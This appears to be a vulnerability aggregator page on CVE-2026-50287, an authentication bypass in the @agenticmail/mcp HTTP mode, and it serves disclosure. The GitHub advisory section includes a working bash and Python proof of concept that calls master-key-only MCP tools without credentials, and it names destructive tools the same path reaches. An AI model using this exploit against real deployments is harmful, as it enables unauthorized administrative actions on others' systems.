Missing Authentication for Critical Function in @agenticmail/mcp
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cve-program · CVE-2026-50287
PublishedAgenticMail gives AI agents real email addresses and phone numbers. Prior to version 0.9.27, @agenticmail/mcp exposes a Streamable HTTP transport when started with --http or MCP_HTTP=1. In that mode, the /mcp endpoint accepts requests without any HTTP authentication layer. A remote client can initialize a session and call tools directly. This issue has been patched in version 0.9.27.
- Source published
- 12 Jun 2026 18:44:48 UTC
- Source modified
- 15 Jun 2026 18:18:24 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
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Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
euvd · EUVD-2026-36544
PublishedAgenticMail gives AI agents real email addresses and phone numbers. Prior to version 0.9.27, @agenticmail/mcp exposes a Streamable HTTP transport when started with --http or MCP_HTTP=1. In that mode, the /mcp endpoint accepts requests without any HTTP authentication layer. A remote client can initialize a session and call tools directly. This issue has been patched in version 0.9.27.
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datePublished: Jun 12, 2026, 6:44:48 PM
dateUpdated: Jun 15, 2026, 6:18:24 PM
- Source published
- Jun 12, 2026, 6:44:48 PM (timezone not stated)
- Source modified
- Jun 15, 2026, 6:18:24 PM (timezone not stated)
- Saved here
- 15 Nov 2026 14:47:03 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
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EUVD CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
nvd · CVE-2026-50287
PublishedAgenticMail gives AI agents real email addresses and phone numbers. Prior to version 0.9.27, @agenticmail/mcp exposes a Streamable HTTP transport when started with --http or MCP_HTTP=1. In that mode, the /mcp endpoint accepts requests without any HTTP authentication layer. A remote client can initialize a session and call tools directly. This issue has been patched in version 0.9.27.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-306
Original publisher date fields
published: 2026-06-12T20:16:46.940
lastModified: 2026-06-17T10:57:41.743
- Source published
- 12 Jun 2026 20:16:46 UTC
- Source modified
- 17 Jun 2026 10:57:41 UTC
- Saved here
- 25 Oct 2026 12:17:38 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
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Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · [email protected] · Secondary · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
osv · GHSA-63gr-g7jc-v8rg
Published# AgenticMail MCP HTTP authorization bypass ## Summary `@agenticmail/mcp` exposes a Streamable HTTP transport when started with `--http` or `MCP_HTTP=1`. In that mode, the `/mcp` endpoint accepts requests without any HTTP authentication layer. A remote client can initialize a session and call tools directly. The problem is that the MCP server also exposes tools documented as requiring `AGENTICMAIL_MASTER_KEY`, and the server process forwards those calls using its own configured master key. As a result, any client that can reach the MCP HTTP port can invoke master-only operations without knowing the master key. ## Impact An unauthenticated network client can invoke master-key-only MCP tools through the server, including administrative and gateway actions. Confirmed with a read-only tool: - `setup_guide` The same path reaches higher-impact tools such as: - `setup_email_relay` - `setup_email_domain` - `delete_agent` - `cleanup_agents` - `send_test_email` ## Affected Code - `packages/mcp/src/index.ts` - `packages/mcp/src/tools.ts` - `packages/mcp/README.md` Relevant observations: - `packages/mcp/src/index.ts` starts an HTTP server for `/mcp` without checking an Authorization header. - `packages/mcp/src/tools.ts` marks gateway/admin tools as master-key tools and forwards them with the server-side `AGENTICMAIL_MASTER_KEY`. - `packages/mcp/README.md` documents that gateway/admin tools require the master key. ## Reproduction Use the bundled one-command PoC runner: ```bash cd agenticmail ./scripts/run_agenticmail_mcp_http_unauth_poc.sh ``` Expected success output: ```text [+] received mcp-session-id without authentication: ... [+] tools/call(setup_guide) HTTP status: 200 [+] SUCCESS: unauthenticated HTTP client invoked MCP tool `setup_guide` ``` ## PoC Files - [scripts/run_agenticmail_mcp_http_unauth_poc.sh](scripts/run_agenticmail_mcp_http_unauth_poc.sh) - One-command wrapper that starts the API, starts MCP in HTTP mode, runs the client PoC, and cleans up background processes. - [scripts/agenticmail_mcp_http_unauth_poc.py](scripts/agenticmail_mcp_http_unauth_poc.py) - Unauthenticated MCP client that sends `initialize` and then calls `setup_guide`. ## Inline PoC The following PoC is non-destructive. It calls `setup_guide`, which is documented as a master-key tool but only returns setup guidance. ### `scripts/run_agenticmail_mcp_http_unauth_poc.sh` ```bash #!/usr/bin/env bash set -euo pipefail REPO_DIR="." POC="scripts/agenticmail_mcp_http_unauth_poc.py" API_HOST="${API_HOST:-127.0.0.1}" API_PORT="${API_PORT:-}" MCP_PORT="${MCP_PORT:-}" MASTER_KEY="${AGENTICMAIL_MASTER_KEY:-mk_path4_poc_master}" DATA_DIR="${AGENTICMAIL_DATA_DIR:-.poc-data}" LOG_DIR="${LOG_DIR:-.poc-logs}" mkdir -p "$DATA_DIR" "$LOG_DIR" node_major="$(node -p 'Number(process.versions.node.split(".")[0])' 2>/dev/null || echo 0)" if (( node_major < 20 )); then echo "[-] Node.js 20+ is required; current node is: $(node -v 2>/dev/null || echo missing)" >&2 exit 2 fi find_free_port() { python3 - <<'PY' import socket with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.bind(("127.0.0.1", 0)) print(sock.getsockname()[1]) PY } [[ -n "$API_PORT" ]] || API_PORT="$(find_free_port)" [[ -n "$MCP_PORT" ]] || MCP_PORT="$(find_free_port)" api_pid="" mcp_pid="" cleanup() { set +e [[ -z "${mcp_pid:-}" ]] || kill "$mcp_pid" 2>/dev/null || true [[ -z "${api_pid:-}" ]] || kill "$api_pid" 2>/dev/null || true } trap cleanup EXIT wait_tcp() { local host="$1" local port="$2" local name="$3" for _ in $(seq 1 60); do if python3 - "$host" "$port" >/dev/null 2>&1 <<'PY' import socket import sys sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) try: sock.connect((sys.argv[1], int(sys.argv[2]))) sys.exit(0) except Exception: sys.exit(1) finally: sock.close() PY then echo "[+] $name is listening: $host:$port" return 0 fi sleep 1 done echo "[-] Timed out waiting for $name: $host:$port" >&2 return 1 } cd "$REPO_DIR" echo "[+] Starting AgenticMail API on $API_HOST:$API_PORT" ( export AGENTICMAIL_API_HOST="$API_HOST" export AGENTICMAIL_API_PORT="$API_PORT" export AGENTICMAIL_MASTER_KEY="$MASTER_KEY" export AGENTICMAIL_DATA_DIR="$DATA_DIR" npm run dev:api ) >"$LOG_DIR/api.log" 2>&1 & api_pid="$!" wait_tcp "$API_HOST" "$API_PORT" "AgenticMail API" echo "[+] Starting AgenticMail MCP HTTP server on port $MCP_PORT" ( export AGENTICMAIL_API_URL="http://$API_HOST:$API_PORT" export AGENTICMAIL_MASTER_KEY="$MASTER_KEY" export AGENTICMAIL_DATA_DIR="$DATA_DIR" npm --workspace=@agenticmail/mcp run dev -- --http "--port=$MCP_PORT" ) >"$LOG_DIR/mcp.log" 2>&1 & mcp_pid="$!" wait_tcp "127.0.0.1" "$MCP_PORT" "AgenticMail MCP HTTP server" echo "[+] Running unauthenticated MCP client PoC" python3 "$POC" --url "http://127.0.0.1:$MCP_PORT/mcp" ``` ### `scripts/agenticmail_mcp_http_unauth_poc.py` ```python #!/usr/bin/env python3 from __future__ import annotations import argparse import json import sys import urllib.error import urllib.request def post_json(url: str, payload: dict, session_id: str | None = None) -> tuple[int, dict, str]: data = json.dumps(payload).encode("utf-8") headers = { "Content-Type": "application/json", "Accept": "application/json, text/event-stream", } if session_id: headers["mcp-session-id"] = session_id req = urllib.request.Request(url, data=data, headers=headers, method="POST") try: with urllib.request.urlopen(req, timeout=15) as resp: body = resp.read().decode("utf-8", errors="replace") return resp.status, dict(resp.headers), body except urllib.error.HTTPError as exc: body = exc.read().decode("utf-8", errors="replace") return exc.code, dict(exc.headers), body def parse_sse_or_json(body: str) -> list[dict]: events: list[dict] = [] stripped = body.strip() if not stripped: return events if stripped.startswith("{") or stripped.startswith("["): parsed = json.loads(stripped) return parsed if isinstance(parsed, list) else [parsed] for line in body.splitlines(): if not line.startswith("data:"): continue data = line[len("data:") :].strip() if not data: continue try: events.append(json.loads(data)) except json.JSONDecodeError: pass return events def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("--url", default="http://127.0.0.1:8014/mcp") parser.add_argument("--tool", default="setup_guide") args = parser.parse_args() init_payload = { "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2025-03-26", "capabilities": {}, "clientInfo": {"name": "agenticmail-unauth-poc", "version": "0.1"}, }, } status, headers, body = post_json(args.url, init_payload) print(f"[+] initialize HTTP status: {status}") print(f"[+] initialize response body: {body[:500]}") session_id = headers.get("mcp-session-id") or headers.get("Mcp-Session-Id") if not session_id: print("[-] No mcp-session-id header returned") return 2 print(f"[+] received mcp-session-id without authentication: {session_id}") post_json(args.url, { "jsonrpc": "2.0", "method": "notifications/initialized", "params": {}, }, session_id=session_id) status, _headers, body = post_json(args.url, { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": args.tool, "arguments": {}}, }, session_id=session_id) print(f"[+] tools/call({args.tool}) HTTP status: {status}") print("[+] raw response:") print(body) if any("result" in msg for msg in parse_sse_or_json(body)): print(f"[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `{args.tool}`") return 0 print("[-] Tool call did not return a result") return 1 if __name__ == "__main__": sys.exit(main()) ``` ## Why This Is a Vulnerability The project treats `AGENTICMAIL_MASTER_KEY` as the authorization boundary for administrative and gateway operations. HTTP MCP mode removes the client-side authentication boundary entirely, so an unauthenticated network client becomes an indirect caller of master-only API functionality. ## Suggested Fix - Require authentication for HTTP MCP mode. - Bind the MCP HTTP server to `127.0.0.1` by default. - Reject `/mcp` requests that lack a valid bearer token or shared secret. - Disable master-key tools when the transport is unauthenticated.
- Source published
- 1 Jun 2026 13:58:33 UTC
- Source modified
- 10 Sep 2026 03:50:48 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Publisher rating · HIGH